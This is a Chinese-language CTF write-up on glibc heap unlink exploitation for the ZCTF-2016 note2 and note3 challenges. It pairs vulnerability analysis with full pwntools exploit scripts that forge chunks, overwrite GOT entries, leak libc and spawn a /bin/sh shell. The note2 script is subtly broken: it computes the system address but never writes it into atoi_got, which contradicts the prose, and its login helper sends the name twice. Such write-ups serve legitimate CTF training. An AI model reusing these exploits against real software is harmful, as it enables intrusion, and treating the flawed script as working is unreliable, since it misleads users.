前话
- 原理在这就不说了,很多博主说得都非常的详细,我也是从他们那里学到的。本篇主要就是讲解常见的Unlink利用。主要分为有泄漏操作和无泄漏操作。
- 有泄漏操作就是能够输出堆中的信息,无泄漏就是不能泄露堆中的信息。
有泄漏操作
ZCTF-2016-note2
-
【保护】:
-
RELRO保护一定要非常注意,如果是这种情况下(部分开启),说明任意函数的got表都可写;如果是完全开启(FULL)则只能修改free_hook 和 mallock_hook。另外PIE也需要特别注意,在Unlink的利用中,如果PIE没开正如现在这样,对我们的伪造是非常便利的!
-
【分析】:
-
程序有增删改查四个操作,主要漏洞出在自定义的输入函数中,由于符号数和无符号数进行比较时,一律转为无符号数比较而导致负数溢出!
-
只要我们在增加note的操作中,分配一个大小为0的chunk,那么根据这个逻辑就会将 -1转为无符号整数,是个非常大的数字,就能够实现溢出写入。
-
而一个chunk会包含head和fd、bk这几个部分,在64位下占0x20的大小,所以我们虽然是分配了0个字节大小,实际上系统会自动分配0x20个大小来保存这几个部分。
-
利用的手法就是通过unlink,获得一个在bss段上可控的chunk。我们发现,note_list是存放着我们新建的note,地址是0x602120,并且最多只能建立4个note。
-
先新建3个chunk,大小分别是0x80,0x0,0x80
note_list=0x0000000000602120 pay='a'*8+p64(0x21)+p64(note_list-0x18)+p64(note_list-0x10) pay+='a'*(0x80-len(pay))+p64(0x20) add_note(0x80,pay)#0 add_note(0,'a'*0x10)#1 add_note(0x80,'b'*0x10)#2
-
chunk0里边伪造一个chunk,大小是0x20,这个大小随意,此时各个chunk的信息如下
-
释放chunk1,再建立一个chunk,大小为0.此时根据内存重用机制,我们实际上得到的还是之前释放的那个chunk,只是放置它的位置会往后挪1。
-
此时成功的将chunk2->prev_size改为0xa0,chunk2->size改为0x90,表示chunk2和chunk2的上一个堆块都是处于空闲状态,此时只要free掉chunk2,就能够实现unlink。根据glibc的操作,0x23170b0-0xa0=0x2317020,正好指向chunk0中的fake_chunk->fd,那么在unlink之后,我们就得到了一个fake_chunk->fd的堆。
- 然后通过edit操作,对note0进行编辑,我们将0x602120处的内容用atoi_got覆盖;然后进行show的操作,输出note0的信息,实际上就是泄露atoi_got中的内容,以此来算出libc的基址,然后拿到system的地址。再编辑note0,实际上就是对atoi_got进行修改,我们改为system的地址。最后在选择时,输入**/bin/sh**,就会变成system("/bin/sh"),从而获得一个shell!
完整EXP
#encoding=utf-8
from pwn import*
#context.log_level='debug'
p=process('./note2')
elf=ELF('./note2')
libc=elf.libc
def login(name,addr):
p.sendlineafter('name:\n',name)
p.sendlineafter('address:\n',name)
def add_note(size,data):
p.sendlineafter('option--->>\n','1')
p.sendlineafter('128)\n',str(size))
p.sendlineafter('content:\n',data)
def show_note(idx):
p.sendlineafter('option--->>\n','2')
p.sendlineafter('note:\n',str(idx))
def edit_note(idx,data):
p.sendlineafter('option--->>\n','3')
p.sendlineafter('note:\n',str(idx))
p.sendlineafter('2.append]\n','1')
p.sendlineafter('TheNewContents:',data)
def free_note(idx):
p.sendlineafter('option--->>\n','4')
p.sendlineafter('note:\n',str(idx))
login('hack','hack')
note_list=0x0000000000602120
pay='a'*8+p64(0x21)+p64(note_list-0x18)+p64(note_list-0x10)
pay+='a'*(0x80-len(pay))+p64(0x20)
add_note(0x80,pay)#0
add_note(0,'a'*0x10)#1
add_note(0x80,'b'*0x10)#2
gdb.attach(p,'x/4gx 0x602120')
pause()
free_note(1)
pay='a'*0x10+p64(0xa0)+p64(0x90)
add_note(0,pay)#改写chunk2->prev_size=0xa0,chunk2->size=0x90
gdb.attach(p,'x/4gx 0x602120')
pause()
free_note(2)
gdb.attach(p,'x/4gx 0x602120')
pause()
atoi_got=elf.got['atoi']
edit_note(0,'c'*0x18+p64(atoi_got))
gdb.attach(p,'x/4gx 0x602120')
pause()
show_note(0)
p.recvuntil('Content is ')
libc_addr=u64(p.recvuntil('\n')[:-1].ljust(8,'\0'))-libc.sym['atoi']
success('libc_addr:'+hex(libc_addr))
system=libc.sym['system']+libc_addr
show_note(0)
p.sendlineafter('option--->>\n','/bin/sh')
p.interactive()
无泄露操作
ZCTF-2016-note3
- 【保护】:
- 【分析】:
- 漏洞依然是和上边的一样,只是不同在于这个程序的输出操作不能用
-
并且可以建立7个note。
-
手法还是类似的,不过这次我们不能在chunk0中伪造fake_chunk,因为unlink成功后,我们只能写入0x20大小的数据,如此不能覆盖完全我们想要控制的地方,大家可以自行测试!
-
所以还是先建立4个note:
note_list=0x6020d0 atoi_got=elf.got['atoi'] puts_plt=elf.plt['puts'] free_got=elf.got['free'] pay='\xaa'*0x8+p64(0x61)+p64(note_list-0x18)+p64(note_list-0x10)+'\xaa'*(0x60-0x20)+p64(0x60) add(0x80,'\xaa'*0x10)#0 add(0x80,pay)#1 add(0x0,'\xcc'*0x10)#2 add(0x80,'\xdd')#3
-
在note1中进行伪造,后续步骤类似
free(2) add(0,'\xcc'*0x10+p64(0xa0)+p64(0x90))#2 free(3)
-
unlink之后
-
编辑note0,将0x6020c8处的内容用free_got代替,0x6020d0处的内容用atoi_got代替。
-
编辑note0,将free_got中的置改为puts_plt,然后进行free操作,将note1 free掉,相当于是puts(note1),而note1的地址是atoi_got,因此就能泄露出内存。后面再编辑note0,将free_got修改为system地址,再建立一个note,写入 “/bin/sh”,最后将此 free,获得一个shell。
完整EXP
#encoding=utf-8
from pwn import*
elf=ELF('./note3')
libc=elf.libc
#context.log_level='debug'
p=process('./note3')
def add(size,data):
p.sendlineafter('-->>\n','1')
p.sendlineafter('1024)\n',str(size))
p.sendlineafter('content:\n',data)
def edit(idx,data):
p.sendlineafter('-->>\n','3')
p.sendlineafter('note:\n',str(idx))
p.sendlineafter('content:\n',data)
def free(idx):
p.sendlineafter('-->>\n','4')
p.sendlineafter('note:\n',str(idx))
note_list=0x6020d0
atoi_got=elf.got['atoi']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
pay='\xaa'*0x8+p64(0x61)+p64(note_list-0x18)+p64(note_list-0x10)+'\xaa'*(0x60-0x20)+p64(0x60)
add(0x80,'\xaa'*0x10)#0
add(0x80,pay)#1
add(0x0,'\xcc'*0x10)#2
add(0x80,'\xdd')#3
free(2)
add(0,'\xcc'*0x10+p64(0xa0)+p64(0x90))#2
free(3)
edit(1,'\0'*0x10+p64(free_got)+p64(atoi_got))#+p64(atoi_got)
edit(0,p64(puts_plt)[:-1])
free(1)
gdb.attach(p,'x/10gx 0x00000000006020C8')
pause()
libc_addr=u64(p.recv(7)[:-1].ljust(8,'\0'))-libc.sym['atoi']
success("libc_addr:"+hex(libc_addr))
system=libc.sym['system']+libc_addr
success("system:"+hex(system))
add(0x10,'/bin/sh')#1
edit(0,p64(system)[:-1])
free(1)
'''gdb.attach(p,'x/10gx 0x00000000006020C8')
pause()'''
p.interactive()
- 【补充】:
- 这题还有个特别坑的地方,就是将free_got改写的时候,要写成p64(target_addr)[:-1],否则程序会崩掉。
- 还有别的情况留待日后遇见了再补充。。。。。。